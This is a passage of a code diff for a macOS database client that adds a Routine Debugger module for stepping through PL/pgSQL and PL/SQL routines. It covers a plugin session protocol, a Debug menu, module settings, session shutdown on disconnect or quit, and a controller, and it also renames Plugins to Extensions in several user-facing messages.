+// The host never overlaps two calls, except `stop()`, which may arrive while any other call is still running: that +// call then ends promptly (a waiting step returns `.finished` or `.failed`, never a pause; a read throws). +public protocol PluginDebugSession: AnyObject, Sendable { + var supportedCommands: Set { get } + var output: AsyncStream { get } + func firstStop() async throws -> PluginDebugStop + func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop + func source(of unit: PluginDebugUnit) async throws -> String + func stack() async throws -> [PluginDebugFrame] + func variables(inFrame level: Int) async throws -> [PluginDebugVariable] + // The breakpoint as the engine placed it (its line may move to the next executable one); nil when it cannot be set. + func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? + func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws + // Ends the target and rolls back its open transaction, whatever state it is in, and says whether it could confirm + // that. Returns within 3 seconds: the host closes the session's transport 5 seconds after asking. + func stop() async -> PluginDebugStopOutcome +} + +public struct PluginDebugTarget: Sendable, Hashable { + public let identity: String + public let name: String + public let schema: String? + public let kindDisplayName: String + + public init(identity: String, name: String, schema: String?, kindDisplayName: String) { + self.identity = identity + self.name = name + self.schema = schema + self.kindDisplayName = kindDisplayName + } +} + +public struct PluginDebugPlan: Sendable { + public let target: PluginDebugTarget + public let entryPoints: [PluginDebugEntryPoint] + public let mayWrite: Bool + public let preparation: PluginDebugPreparation? + // Asked for in the start sheet, never in the connection form, so an off module leaves no field behind. + public let options: [ConnectionField] + // What happens to the routine's changes when it runs to the end, shown in the start sheet. + public let note: String? + + public init( + target: PluginDebugTarget, + entryPoints: [PluginDebugEntryPoint], + mayWrite: Bool, + preparation: PluginDebugPreparation? = nil, + options: [ConnectionField] = [], + note: String? = nil + ) { + self.target = target + self.entryPoints = entryPoints + self.mayWrite = mayWrite + self.preparation = preparation + self.options = options + self.note = note + } +} + +public struct PluginDebugEntryPoint: Sendable, Hashable { + public let identity: String + public let displayName: String + public let parameters: [PluginDebugParameter] + + public init(identity: String, displayName: String, parameters: [PluginDebugParameter]) { + self.identity = identity + self.displayName = displayName + self.parameters = parameters + } +} + +public struct PluginDebugParameter: Sendable, Hashable { + public let name: String + public let typeName: String + public let mode: PluginDebugParameterMode + public let hasDefault: Bool + + public init(name: String, typeName: String, mode: PluginDebugParameterMode, hasDefault: Bool) { + self.name = name + self.typeName = typeName + self.mode = mode + self.hasDefault = hasDefault + } +} + +public enum PluginDebugParameterMode: String, Sendable, Hashable { + case input + case output + case inputOutput + case variadic +} + +// Statements the host runs, after the user confirms, before the session can start (Oracle's compile for debug). +public struct PluginDebugPreparation: Sendable { + public let message: String + public let informativeText: String? + public let actionTitle: String + public let statements: [String] + + public init(message: String, informativeText: String?, actionTitle: String, statements: [String]) { + self.message = message + self.informativeText = informativeText + self.actionTitle = actionTitle + self.statements = statements + } +} + +public struct PluginDebugRequest: Sendable { + public let entryPoint: PluginDebugEntryPoint + public let arguments: [PluginDebugArgument] + public let breakpoints: [PluginDebugBreakpoint] + public let optionValues: [String: String] + + public init( + entryPoint: PluginDebugEntryPoint, + arguments: [PluginDebugArgument], + breakpoints: [PluginDebugBreakpoint], + optionValues: [String: String] = [:] + ) { + self.entryPoint = entryPoint + self.arguments = arguments + self.breakpoints = breakpoints + self.optionValues = optionValues + } +} + +public struct PluginDebugArgument: Sendable, Hashable { + public let parameterName: String + public let value: PluginDebugArgumentValue + + public init(parameterName: String, value: PluginDebugArgumentValue) { + self.parameterName = parameterName + self.value = value + } +} + +public enum PluginDebugArgumentValue: Sendable, Hashable { + case text(String) + case null + case defaultValue +} + +public enum PluginDebugCommand: String, Sendable, Hashable { + case continueExecution + case stepOver + case stepInto + case stepOut +} + +public enum PluginDebugStopOutcome: Sendable { + case ended + // The target may still be running on the server; the message names it and how to end it. + case unconfirmed(message: String, detail: String?) +} + +public enum PluginDebugStop: Sendable { + case paused(PluginDebugLocation) + case finished(PluginQueryResult?) + case failed(message: String, detail: String?) +} + +public struct PluginDebugUnit: Sendable, Hashable { + public let identity: String + public let displayName: String + + public init(identity: String, displayName: String) { + self.identity = identity + self.displayName = displayName + } +} + +// `line` is 1-based in the text `source(of:)` returns for `unit`. +public struct PluginDebugLocation: Sendable, Hashable { + public let unit: PluginDebugUnit + public let line: Int + + public init(unit: PluginDebugUnit, line: Int) { + self.unit = unit + self.line = line + } +} + +public struct PluginDebugBreakpoint: Sendable, Hashable { + public let unitIdentity: String + public let line: Int + + public init(unitIdentity: String, line: Int) { + self.unitIdentity = unitIdentity + self.line = line + } +} + +public struct PluginDebugFrame: Sendable, Hashable { + public let level: Int + public let location: PluginDebugLocation? + public let arguments: String? + + public init(level: Int, location: PluginDebugLocation?, arguments: String?) { + self.level = level + self.location = location + self.arguments = arguments + } +} + +public struct PluginDebugVariable: Sendable, Hashable { + public let name: String + public let kind: PluginDebugVariableKind + public let typeName: String? + // Nil is SQL NULL. + public let value: String? + public let isConstant: Bool + + public init(name: String, kind: PluginDebugVariableKind, typeName: String?, value: String?, isConstant: Bool) { + self.name = name + self.kind = kind + self.typeName = typeName + self.value = value + self.isConstant = isConstant + } +} + +public enum PluginDebugVariableKind: String, Sendable, Hashable { + case argument + case local + case package +} diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift index 1778ce05e7..60145aca2b 100644 --- a/apple/TablePro/AppDelegate.swift +++ b/apple/TablePro/AppDelegate.swift @@ -165,6 +165,8 @@ class AppDelegate: NSObject, NSApplicationDelegate { guard QuitApproval.approve() else { return .terminateCancel } Task { + // First, while the drivers are open: a debug stop rolls back the routine's transaction. + await AppModuleTermination.stopModuleWork() await MCPServerManager.shared.stop() await DatabaseManager.shared.runPostDisconnectScriptsBeforeQuit() NSApp.reply(toApplicationShouldTerminate: true) diff --git a/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift b/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift index 57ee9e0d5b..3677faa438 100644 --- a/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift +++ b/apple/TablePro/Core/Coordinators/QueryExecutionCoordinator.swift @@ -174,7 +174,7 @@ final class QueryExecutionCoordinator: ObservableObject { guard case .needsBatchDriver = route else { return false } parent.tabManager.mutate(at: index) { $0.execution.errorMessage = String( - localized: "Update the database driver in Settings > Plugins to run a batch more than once with GO." + localized: "Update the database driver in Settings > Extensions to run a batch more than once with GO." ) } return true diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift index 1e5af1b028..383ee0663f 100644 --- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift +++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge+Scripts.swift @@ -77,11 +77,11 @@ extension DatabaseAccessBridge { ) case .statements: throw DatabaseAccessError.invalidArgument( - String(localized: "Update the database driver in Settings > Plugins to run several statements in one call.") + String(localized: "Update the database driver in Settings > Extensions to run several statements in one call.") ) case .needsBatchDriver: throw DatabaseAccessError.invalidArgument( - String(localized: "Update the database driver in Settings > Plugins to run a batch more than once with GO.") + String(localized: "Update the database driver in Settings > Extensions to run a batch more than once with GO.") ) case nil: throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) diff --git a/apple/TablePro/Core/Database/DatabaseManager+Health.swift b/apple/TablePro/Core/Database/DatabaseManager+Health.swift index c3be0d168a..dad575f0b0 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Health.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Health.swift @@ -137,6 +137,10 @@ extension DatabaseManager { /// so a database switch cannot promote another connection in the meantime. MetadataConnectionPool.shared.beginTransportReplacement(connectionId: connectionId) defer { MetadataConnectionPool.shared.endTransportReplacement(connectionId: connectionId) } + // Debug drivers are dedicated connections, so the pool's replacement fence does not hold them back; the + // debugger keeps its own fence closed until this reconnect is over. + await RoutineDebugSessions.shared.stopAll(connectionId: connectionId) + defer { RoutineDebugSessions.shared.reopenAdmission(for: connectionId) } await SchemaService.shared.prepareForReload(connectionId: connectionId) await DatabaseTreeMetadataService.shared.handleReconnect(connectionId: connectionId) /// Asked again after the suspensions above: a switch that landed before the replacement @@ -397,6 +401,8 @@ extension DatabaseManager { /// closing the pool there withdrew an open that another database's table load was waiting on. let replacesPooledTransport = session.connection.activeTunnelKind != nil || session.liveness != .live if replacesPooledTransport { + // A debug target dialed through this transport would be left holding its locks once it goes. + await RoutineDebugSessions.shared.stopAll(connectionId: sessionId) MetadataConnectionPool.shared.beginTransportReplacement(connectionId: sessionId) /// The other databases' connections were dialed through the same transport, so they go /// with it and reopen on their next use. @@ -407,6 +413,11 @@ extension DatabaseManager { MetadataConnectionPool.shared.endTransportReplacement(connectionId: sessionId) } } + defer { + if replacesPooledTransport { + RoutineDebugSessions.shared.reopenAdmission(for: sessionId) + } + } await stopHealthMonitor(for: sessionId) diff --git a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift index 86bafad920..7383aeeec9 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift @@ -743,6 +743,10 @@ extension DatabaseManager { disconnectsInFlight.insert(sessionId) defer { disconnectsInFlight.remove(sessionId) } + // Before the tunnel goes: a debug target whose client vanishes keeps its locks until someone aborts it. + await RoutineDebugSessions.shared.stopAll(connectionId: sessionId, tabsCloseAfter: true) + defer { RoutineDebugSessions.shared.reopenAdmission(for: sessionId) } + tabStatePersister?.persistTabState(for: sessionId) if origin == .userRequested { userRequestedDisconnects.insert(sessionId) diff --git a/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift b/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift index b481a2bade..a52f02125a 100644 --- a/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift +++ b/apple/TablePro/Core/MCP/Protocol/Tools/MCPTabSnapshotProvider.swift @@ -31,11 +31,12 @@ enum MCPTabSnapshotProvider { ?? coordinator.connection.name let selectedId = coordinator.tabManager.selectedTabId for tab in coordinator.tabManager.tabs { + guard let tabType = tab.tabType.snapshotName else { continue } snapshots.append(MCPTabSnapshot( tabId: tab.id, connectionId: coordinator.connectionId, connectionName: connectionName, - tabType: tab.tabType.snapshotName, + tabType: tabType, tableName: tab.tableContext.tableName, databaseName: tab.tableContext.databaseName, schemaName: tab.tableContext.schemaName, @@ -156,7 +157,8 @@ enum MCPTabSnapshotProvider { } private extension TabType { - var snapshotName: String { + // Nil for a debug tab: the debugger is a module and adds nothing a client can list. + var snapshotName: String? { switch self { case .query: "query" case .table: "table" @@ -168,6 +170,7 @@ private extension TabType { case .objectSource: "objectSource" case .versionHistory: "versionHistory" case .tableListing: "tableListing" + case .routineDebug: nil } } } diff --git a/apple/TablePro/Core/Menu/DebugMenuBuilder.swift b/apple/TablePro/Core/Menu/DebugMenuBuilder.swift new file mode 100644 index 0000000000..d716612ced --- /dev/null +++ b/apple/TablePro/Core/Menu/DebugMenuBuilder.swift @@ -0,0 +1,63 @@ +import AppKit + +// Built only while the Routine Debugger module is on. Items dim rather than hide when no debug tab is in front. +@MainActor +enum DebugMenuBuilder { + static let identifier = NSUserInterfaceItemIdentifier("menu.debug") + + static var title: String { + String(localized: "Debug") + } + + static func build(keyboard: KeyboardSettings) -> NSMenuItem { + let menu = MenuItemFactory.menu(title, items: [ + MenuItemFactory.item( + String(localized: "Debug Routine…"), + action: #selector(MainSplitViewController.chooseRoutineToDebug(_:)) + ), + MenuItemFactory.separator, + MenuItemFactory.item( + String(localized: "Continue"), + action: #selector(MainSplitViewController.debugContinue(_:)), + shortcut: .debugContinue, + keyboard: keyboard + ), + MenuItemFactory.item( + String(localized: "Step Over"), + action: #selector(MainSplitViewController.debugStepOver(_:)), + shortcut: .debugStepOver, + keyboard: keyboard + ), + MenuItemFactory.item( + String(localized: "Step Into"), + action: #selector(MainSplitViewController.debugStepInto(_:)), + shortcut: .debugStepInto, + keyboard: keyboard + ), + MenuItemFactory.item( + String(localized: "Step Out"), + action: #selector(MainSplitViewController.debugStepOut(_:)), + shortcut: .debugStepOut, + keyboard: keyboard + ), + // No default: Xcode's Command-Period is Cancel Query here. + MenuItemFactory.item( + String(localized: "Stop"), + action: #selector(MainSplitViewController.debugStop(_:)) + ), + MenuItemFactory.separator, + MenuItemFactory.item( + String(localized: "Toggle Breakpoint"), + action: #selector(MainSplitViewController.toggleBreakpoint(_:)), + shortcut: .toggleBreakpoint, + keyboard: keyboard + ), + MenuItemFactory.item( + String(localized: "Remove All Breakpoints"), + action: #selector(MainSplitViewController.removeAllBreakpoints(_:)) + ) + ]) + menu.identifier = identifier + return menu + } +} diff --git a/apple/TablePro/Core/Menu/MainMenuBuilder.swift b/apple/TablePro/Core/Menu/MainMenuBuilder.swift index 9829c521ae..2fbc402a49 100644 --- a/apple/TablePro/Core/Menu/MainMenuBuilder.swift +++ b/apple/TablePro/Core/Menu/MainMenuBuilder.swift @@ -15,11 +15,14 @@ struct BuiltMainMenu { let helpMenu: NSMenu? } -/// Builds the whole menu bar. Menu order follows the macOS HIG: the app menu, the -/// standard File/Edit/View menus, app-specific menus, then Window and Help. +// Menu order follows the macOS HIG: the app menu, File, Edit, View, the app's own menus, then Window and Help. @MainActor enum MainMenuBuilder { static func build(keyboard: KeyboardSettings) -> BuiltMainMenu { + build(keyboard: keyboard, modules: AppModuleSettings.shared.enabledModules) + } + + static func build(keyboard: KeyboardSettings, modules: Set) -> BuiltMainMenu { let services = NSMenu(title: String(localized: "Services")) let window = WindowMenuBuilder.build(keyboard: keyboard) let help = HelpMenuBuilder.build() @@ -31,6 +34,9 @@ enum MainMenuBuilder { bar.addItem(ViewMenuBuilder.build(keyboard: keyboard)) bar.addItem(DatabaseMenuBuilder.build(keyboard: keyboard)) bar.addItem(QueryMenuBuilder.build(keyboard: keyboard)) + if modules.contains(.routineDebugger) { + bar.addItem(DebugMenuBuilder.build(keyboard: keyboard)) + } bar.addItem(window) bar.addItem(help) @@ -50,6 +56,25 @@ enum MainMenuBuilder { NSApp.mainMenu = built.bar } + // Adds or removes a module's menu in the installed bar; rebuilding the bar would orphan the Window menu's window list. + static func applyModules( + _ modules: Set, + keyboard: KeyboardSettings, + to bar: NSMenu, + windowsMenu: NSMenu? + ) { + let existing = bar.items.first { $0.identifier == DebugMenuBuilder.identifier } + switch (modules.contains(.routineDebugger), existing) { + case (true, nil): + let index = bar.items.firstIndex { $0.submenu != nil && $0.submenu === windowsMenu } ?? bar.items.count + bar.insertItem(DebugMenuBuilder.build(keyboard: keyboard), at: index) + case (false, let item?): + bar.removeItem(item) + default: + return + } + } + /// The menu bar's key equivalents are one global resource, so exactly one function /// computes them, from the keyboard settings and the key window's text-focus state. /// A rebind, a settings sync, a focus transition and a key-window change all route diff --git a/apple/TablePro/Core/Modules/AppModule.swift b/apple/TablePro/Core/Modules/AppModule.swift new file mode 100644 index 0000000000..e65d22848f --- /dev/null +++ b/apple/TablePro/Core/Modules/AppModule.swift @@ -0,0 +1,41 @@ +import Foundation + +enum AppModule: String, CaseIterable, Sendable { + case routineDebugger + + var title: String { + switch self { + case .routineDebugger: String(localized: "Routine Debugger") + } + } + + var summary: String { + switch self { + case .routineDebugger: String(localized: "Step through PL/pgSQL and PL/SQL routines with breakpoints.") + } + } + + var defaultEnabled: Bool { + switch self { + case .routineDebugger: false + } + } + + var defaultsKey: String { + "com.TablePro.modules.\(rawValue).enabled" + } + + static func enabledModules(in defaults: UserDefaults) -> Set { + Set(allCases.filter { (defaults.object(forKey: $0.defaultsKey) as? Bool) ?? $0.defaultEnabled }) + } + + // For value types that cannot reach the main actor; reads the same keys `AppModuleSettings` writes. + static func storedEnabledModules() -> Set { + enabledModules(in: AppStorageEnvironment.shared.defaults) + } +} + +extension Notification.Name { + // Posted after the new state is stored; `object` is the `AppModule` that changed. + static let appModulesDidChange = Notification.Name("AppModulesDidChange") +} diff --git a/apple/TablePro/Core/Modules/AppModuleActivation.swift b/apple/TablePro/Core/Modules/AppModuleActivation.swift new file mode 100644 index 0000000000..14fc7db9e5 --- /dev/null +++ b/apple/TablePro/Core/Modules/AppModuleActivation.swift @@ -0,0 +1,36 @@ +import AppKit + +// The one writer of a module's state outside tests: the Extensions pane and Reset All Settings, both a click in TablePro. +@MainActor +enum AppModuleActivation { + static func setEnabled(_ enabled: Bool, for module: AppModule, settings: AppModuleSettings = .shared) { + guard settings.isEnabled(module) != enabled else { return } + settings.setEnabled(enabled, for: module) + if let bar = NSApp.mainMenu { + MainMenuBuilder.applyModules( + settings.enabledModules, + keyboard: AppSettingsManager.shared.keyboard, + to: bar, + windowsMenu: NSApp.windowsMenu + ) + MainMenuBuilder.syncKeyEquivalents() + } + MainWindowToolbar.applyModuleChange() + if !enabled { + stopWork(of: module) + } + } + + static func resetToDefaults(settings: AppModuleSettings = .shared) { + for module in AppModule.allCases { + setEnabled(module.defaultEnabled, for: module, settings: settings) + } + } + + private static func stopWork(of module: AppModule) { + switch module { + case .routineDebugger: + Task { await RoutineDebugSessions.shared.stopAll() } + } + } +} diff --git a/apple/TablePro/Core/Modules/AppModuleSettings.swift b/apple/TablePro/Core/Modules/AppModuleSettings.swift new file mode 100644 index 0000000000..36f5104d88 --- /dev/null +++ b/apple/TablePro/Core/Modules/AppModuleSettings.swift @@ -0,0 +1,37 @@ +import Combine +import Foundation + +// Per Mac: the keys live in the local defaults suite and no sync payload carries them. +@MainActor +final class AppModuleSettings: ObservableObject { + static let shared = AppModuleSettings() + + @Published private(set) var enabledModules: Set + + private let defaults: UserDefaults + private let notificationCenter: NotificationCenter + + init( + defaults: UserDefaults = AppStorageEnvironment.shared.defaults, + notificationCenter: NotificationCenter = .default + ) { + self.defaults = defaults + self.notificationCenter = notificationCenter + enabledModules = AppModule.enabledModules(in: defaults) + } + + func isEnabled(_ module: AppModule) -> Bool { + enabledModules.contains(module) + } + + func setEnabled(_ enabled: Bool, for module: AppModule) { + guard isEnabled(module) != enabled else { return } + defaults.set(enabled, forKey: module.defaultsKey) + if enabled { + enabledModules.insert(module) + } else { + enabledModules.remove(module) + } + notificationCenter.post(name: .appModulesDidChange, object: module) + } +} diff --git a/apple/TablePro/Core/Modules/AppModuleTermination.swift b/apple/TablePro/Core/Modules/AppModuleTermination.swift new file mode 100644 index 0000000000..9974d64f5b --- /dev/null +++ b/apple/TablePro/Core/Modules/AppModuleTermination.swift @@ -0,0 +1,44 @@ +import Foundation + +@MainActor +enum AppModuleTermination { + static let stopLimit: Duration = .seconds(5) + // From the approved quit on, so nothing puts up an alert that would hold it. + private(set) static var hasBegun = false + + // A stop waiting on a server that no longer answers must not hold the quit: `stopAll` returns by its deadline, + // the same one the runs close their connections at. + static func stopModuleWork() async { + hasBegun = true + guard RoutineDebugSessions.shared.hasActiveSessions else { return } + await RoutineDebugSessions.shared.stopAll(timeout: stopLimit) + } + + // True when `work` returned before the limit. Work still running at the limit is left to the process exit. + static func runCapped( + at limit: Duration, + clock: any Clock = ContinuousClock(), + _ work: @escaping @MainActor @Sendable () async -> Void + ) async -> Bool { + var deadline: Task? + let outcomes = AsyncStream { continuation in + Task { @MainActor in + await work() + continuation.yield(true) + continuation.finish() + } + deadline = Task { + try? await clock.sleep(for: limit) + continuation.yield(false) + continuation.finish() + } + } + var finished = false + for await outcome in outcomes { + finished = outcome + break + } + deadline?.cancel() + return finished + } +} diff --git a/apple/TablePro/Core/Plugins/PluginError.swift b/apple/TablePro/Core/Plugins/PluginError.swift index d2f65f94aa..9e461e045e 100644 --- a/apple/TablePro/Core/Plugins/PluginError.swift +++ b/apple/TablePro/Core/Plugins/PluginError.swift @@ -79,9 +79,9 @@ enum PluginError: LocalizedError { case .unknownDatabaseType: return String(localized: "Edit the connection and choose its database type.") case .pluginLoadFailed: - return String(localized: "Update or reinstall the plugin in Settings > Plugins.") + return String(localized: "Update or reinstall the plugin in Settings > Extensions.") case .pluginInstallFailed: - return String(localized: "Try again, or install the plugin from Settings > Plugins.") + return String(localized: "Try again, or install the plugin from Settings > Extensions.") default: return nil } diff --git a/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift b/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift index 9eceec9b11..65b16f6b8f 100644 --- a/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift +++ b/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift @@ -25,7 +25,7 @@ extension PluginManager { let typeId = databaseType.pluginTypeId if let entry = installedEntry(servingTypeId: typeId), !entry.serves(databaseType.rawValue) { return .outdated(reason: String( - format: String(localized: "The installed %1$@ does not support %2$@. Update it in Settings > Plugins."), + format: String(localized: "The installed %1$@ does not support %2$@. Update it in Settings > Extensions."), entry.name, Self.registryDisplayName(of: databaseType) )) diff --git a/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift b/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift new file mode 100644 index 0000000000..606b8dc891 --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift @@ -0,0 +1,214 @@ +// +// MainContentCoordinator+RoutineDebugging.swift +// TablePro +// + +import AppKit +import Foundation +import TableProPluginKit + +extension MainContentCoordinator { + // Answers without I/O, so a context menu or a menu validation can ask. Every read goes through another driver. + private var routineDebugger: (any PluginDatabaseDriver & PluginRoutineDebugging)? { + guard AppModuleSettings.shared.isEnabled(.routineDebugger), + connection.type.supportsConnectionPooling, + let adapter = services.databaseManager.driver(for: connectionId) as? PluginDriverAdapter, + let debugger = adapter.schemaPluginDriver as? any PluginDatabaseDriver & PluginRoutineDebugging, + debugger.canDebugRoutines + else { return nil } + return debugger + } + + func routineDebugTarget(for routine: RoutineInfo) -> PluginDebugTarget? { + routineDebugger?.debugTarget(for: routine.pluginRoutine) + } + + func canChooseRoutineToDebug() -> Bool { + routineDebugger != nil && services.databaseManager.session(for: connectionId)?.isConnected == true + } + + func debugRoutine(_ routine: RoutineInfo) { + debugRoutine(routine, database: nil, schema: nil) + } + + // A sidebar row names its own database and schema, which the run keeps whatever the browse cursor does meanwhile. + func debugRoutine(_ routine: RoutineInfo, database: String?, schema: String?) { + guard let target = routineDebugTarget(for: routine), + let pick = routineDebugPick(for: target, routine: routine, database: database, schema: schema) + else { return } + launchDebugging { flow, setup in + await flow.run(pick, setup: setup) + } + } + + // Read once, at the click; a database the row does not name is the one being browsed. + func routineDebugPick( + for target: PluginDebugTarget, + routine: RoutineInfo, + database: String?, + schema: String? + ) -> RoutineDebugPick? { + guard let scope = services.databaseManager.resolvedScope( + database: database, + schema: schema ?? target.schema ?? routine.schema, + for: connectionId + ) else { return nil } + return RoutineDebugPick(target: target, scope: scope) + } + + // The chooser lists one database and schema; whatever is chosen from it keeps that database. + func chooseRoutineToDebug() { + guard canChooseRoutineToDebug(), let listed = browseScope else { return } + let databaseManager = services.databaseManager + launchDebugging { [weak self] flow, setup in + await flow.choose(setup: setup) { chooserSetup in + guard let window = self?.contentWindow else { return nil } + let target = await RoutineDebugChooserSheet.present(on: window, setup: chooserSetup) { + guard AppModuleSettings.shared.isEnabled(.routineDebugger) else { throw CancellationError() } + return try await databaseManager.withMetadataDriver(scope: listed) { driver in + try await Self.metadataDebugger(driver).debugTargets(schema: listed.schema) + } + } + return target.map { RoutineDebugPick($0, listedIn: listed) } + } + } + } + + var frontRoutineDebugController: RoutineDebugController? { + guard let tab = tabManager.selectedTab, tab.tabType == .routineDebug else { return nil } + return RoutineDebugSessions.shared.controller(forTab: tab.id) + } + + // Not a user close: nothing goes to Reopen Closed Tab and the saved tab set is left alone. + func closeRoutineDebugTabs() { + let ids = tabManager.tabs.filter { $0.tabType == .routineDebug }.map(\.id) + for id in ids { + closeRoutineDebugTab(id) + } + } + + // MARK: - Starting a run + + // The setup is tracked until the flow ends, so turning the module off dismisses whatever it has on screen. + private func launchDebugging( + _ body: @escaping @MainActor (RoutineDebugStartFlow, RoutineDebugSetup) async -> Void + ) { + // Read before anything waits: a disconnect or reconnect while a sheet is up makes this start stale. + let generation = RoutineDebugSessions.shared.admissionGeneration(for: connectionId) + let setup = RoutineDebugSetup() + let flow = startFlow(generation: generation) + RoutineDebugSessions.shared.beginSetup(setup) + Task { + await body(flow, setup) + RoutineDebugSessions.shared.endSetup(setup) + } + } + + private func startFlow(generation: Int) -> RoutineDebugStartFlow { + let databaseManager = services.databaseManager + let options = RoutineDebugOptionStore() + let connectionId = connectionId + return RoutineDebugStartFlow( + isModuleEnabled: { AppModuleSettings.shared.isEnabled(.routineDebugger) }, + prepare: { pick in + let target = pick.target + return try await databaseManager.withMetadataDriver(scope: pick.scope) { driver in + try await Self.metadataDebugger(driver).prepareDebug(target) + } + }, + presentStartSheet: { [weak self] plan, setup in + guard let window = self?.contentWindow else { return nil } + let choice = await RoutineDebugStartSheet.present( + plan: plan, + rememberedOption: { fieldId in options.value(for: fieldId, connectionId: connectionId) }, + on: window, + setup: setup + ) + if let choice { + options.save(RoutineDebugStartSheet.rememberedValues(of: choice, in: plan), connectionId: connectionId) + } + return choice + }, + reportFailure: { [weak self] target, error in + guard !(error is CancellationError) else { return } + AlertHelper.showErrorSheet( + title: String(format: String(localized: "Can't Debug %@"), target.name), + message: RoutineDebugController.message(for: error), + window: self?.contentWindow + ) + }, + open: { [weak self] plan, choice, scope in + self?.openRoutineDebugTab(plan: plan, choice: choice, scope: scope, generation: generation) + } + ) + } + + private func openRoutineDebugTab( + plan: PluginDebugPlan, + choice: RoutineDebugStartChoice, + scope: DatabaseScope, + generation: Int + ) { + // Read again: the connection may have reconnected, or the module gone off, while the sheet was up. + guard let debugger = routineDebugger else { return } + guard RoutineDebugSessions.shared.admits(connectionId, generation: generation) else { + AlertHelper.showErrorSheet( + title: String(format: String(localized: "Can't Debug %@"), plan.target.name), + message: RoutineDebugError.connectionChanged.localizedDescription, + window: contentWindow + ) + return + } + let tabId = UUID() + let preparationSetup = RoutineDebugSetup() + let controller = RoutineDebugController( + plan: plan, + choice: choice, + connectionId: connectionId, + databaseType: connection.type, + debugger: debugger, + sessionSource: RoutineDebugSessionSource.live(scope: scope, generation: generation), + gate: executionGate, + confirmPreparation: { [weak self] preparation in + await RoutineDebugPreparationPrompt.confirm( + preparation, + window: self?.contentWindow, + setup: preparationSetup + ) + }, + withdrawPreparation: { preparationSetup.cancel() } + ) + controller.onCancelled = { [weak self] in + self?.closeRoutineDebugTab(tabId) + } + guard RoutineDebugSessions.shared.register( + controller, + tabId: tabId, + connectionId: connectionId, + generation: generation + ) else { return } + tabManager.addRoutineDebugTab( + id: tabId, + title: QueryTabManager.routineDebugTitle(for: plan.target.name), + databaseName: scope.database, + schemaName: scope.schema + ) + controller.start() + } + + private func closeRoutineDebugTab(_ tabId: UUID) { + RoutineDebugSessions.shared.endSession(forTab: tabId, window: contentWindow) + guard tabManager.tabs.contains(where: { $0.id == tabId }) else { return } + tabManager.closeTab(id: tabId) + } + + // The pooled metadata driver for this read, which is the plugin's own driver behind the adapter. + nonisolated private static func metadataDebugger( + _ driver: DatabaseDriver + ) throws -> any PluginDatabaseDriver & PluginRoutineDebugging { + guard let adapter = driver as? PluginDriverAdapter, + let debugger = adapter.schemaPluginDriver as? any PluginDatabaseDriver & PluginRoutineDebugging + else { throw RoutineDebugError.unsupported } + return debugger + } +} diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift new file mode 100644 index 0000000000..9393c0b321 --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift @@ -0,0 +1,777 @@ +// +// RoutineDebugController.swift +// TablePro +// + +import AppKit +import Combine +import Foundation +import os +import TableProPluginKit + +extension PluginDebugCommand { + static let hostCommands: [PluginDebugCommand] = [.continueExecution, .stepOver, .stepInto, .stepOut] +} + +internal struct RoutineDebugStartChoice: Sendable { + let entryPoint: PluginDebugEntryPoint + let arguments: [PluginDebugArgument] + let optionValues: [String: String] +} + +// One debug run. Session calls never overlap except `stop()`: every other call waits its turn in `lastOperation`. +// ObservableObject rather than @Observable, which needs macOS 14. +@MainActor +internal final class RoutineDebugController: ObservableObject { + enum State { + case preparing + case starting + case running + case paused(PluginDebugLocation) + case finished(PluginQueryResult?) + case failed(String) + // The plugin's own words when a waiting step answered the stop, which can say the routine still runs on the server. + case stopped(String?) + + var isTerminal: Bool { + switch self { + case .finished, .failed, .stopped: true + case .preparing, .starting, .running, .paused: false + } + } + + var pausedLocation: PluginDebugLocation? { + if case .paused(let location) = self { return location } + return nil + } + + var endedByItself: Bool { + switch self { + case .finished, .failed: true + case .preparing, .starting, .running, .paused, .stopped: false + } + } + } + + private static let logger = Logger(subsystem: "com.TablePro", category: "RoutineDebugController") + private static let outputLineLimit = 5_000 + // Output a plugin relays as the routine completes (Oracle's DBMS_OUTPUT) comes through its own task, shortly after. + private static let outputDrainLimit: Duration = .seconds(1) + static let stopNotConfirmed = String( + localized: "The debugger didn't confirm the stop. The routine may still be running on the server." + ) + + let plan: PluginDebugPlan + let choice: RoutineDebugStartChoice + let connectionId: UUID + let databaseType: DatabaseType + + @Published private(set) var state: State = .preparing + @Published private(set) var isStopping = false + @Published private(set) var supportedCommands: Set = [] + @Published private(set) var frames: [PluginDebugFrame] = [] + @Published private(set) var selectedFrameLevel: Int? + // The frame whose source and variables are on screen; they always change together. + @Published private(set) var displayedFrameLevel: Int? + // False while a pause's stack is still loading: the list then shows the previous stack, which cannot be chosen from. + @Published private(set) var stackIsCurrent = false + @Published private(set) var variables: 